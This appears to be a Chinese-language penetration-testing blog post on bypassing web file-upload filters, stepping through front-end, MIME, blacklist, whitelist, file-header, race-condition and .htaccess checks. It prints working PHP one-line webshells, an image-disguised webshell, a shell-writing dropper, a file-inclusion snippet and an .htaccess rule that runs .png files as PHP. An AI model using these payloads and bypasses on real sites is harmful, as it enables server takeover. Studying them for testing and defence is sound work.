文件上传
一、原理
1、通过文件长传模块上传一句话木马;然后用蚁剑或者cknife连接
//一句话木马
<?php @eval($_POST['cmd']);?>
二、过滤和绕过
1、前端验证
原理
:使用js代码对文件的类型进行限制
绕过
:
(1)禁用Js脚本
方法1:将网站源码复制带.htm文档中;删除js代码过滤的地方进行文件上传
方法2:在浏览器中禁用js脚本(F12中在设置中找到禁用javascript代码选项;开启disable javascript功能,就可以不执行js代码;从而不检测文件的类型)
方法3:burpsuite截取数据包修改对应的文件后缀名绕过前端验证
2、MIME类型检查
原理
:MIME检测就是检测content-type的值来判断上传的文件的类型是否合法;conten-type的值用来确定文件的类型;如果不符合要求就无法上传文件
绕过
:bp抓包修改content-type绕过验证
3、黑名单检测
原理
:后端代码定义一个黑名单;文件类型在黑名单中无法上传;若黑名单不完整就可以绕过!
绕过
:
(1).cer后缀名的文件在asp网站中也会被解析为.asp类型的文件
(2)bp抓包进行模糊测试爆破 ;比如.php代码的后缀名可以为.php .php3 php4 php6 php7 phtm phtml pht等等!
4、白名单检测
原理
:设置白名单;上传文件类型符合白名单内容文件才能长传成功!相比于黑名单更加安全;难以绕过!
绕过
:结合文件包含漏洞上传webshell
(1)文件包含:在php中具有include,include_once,require,require_once函数可以包含其他文件;无论是什么类型的文件;只要文件内容符合php基本语法就会被解释和执行;利用文件包含漏洞就可以上传一句话木马并且执行
<?php
$file=$_GET['file'];
include $file
?>
5、文件头部检查
原理
:后端代码对上传文件的头部进行检查;若不符合则上传失败
绕过
:bp抓包;在文件内容中添加文件头部既可以绕过!或者使用010editor中添加文件头部
GIF89a<?php @eval($_POST['cmd']);?>
//GIF89a就是文件头部
6、竞争上传
原理
:后端代码逻辑是先进行文件上传;在进行逻辑判断;可以利用这个时间差进行webshell上传
//1.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd'])?>');?>
//访问url/?upload/1.php,会在网站目录中生成shell.php,1.php被删除但是shell.php不会被删除!
7、.htaccess
原理
:.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时;.htaccess文件会被Apache Web服务器软件检测并执行
。这些.htaccess文件可以用来改变Apache Web服务器软件的配置
,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
绕过
:首先上传一个png木马;然后在上传一个.htaccess配置文件;该配置文件的作用就是将png文件当作php文件执行;那么上传的png图片马就可以触发了;使用蚁剑连接就可以了!
//.htaccess内容
AddType application/x-httpd-php .png //.png文件当作php文件解析
标签:web,文件,渗透,htaccess,Apache,绕过,php,上传
From: https://www.cnblogs.com/gsupl/p/18344950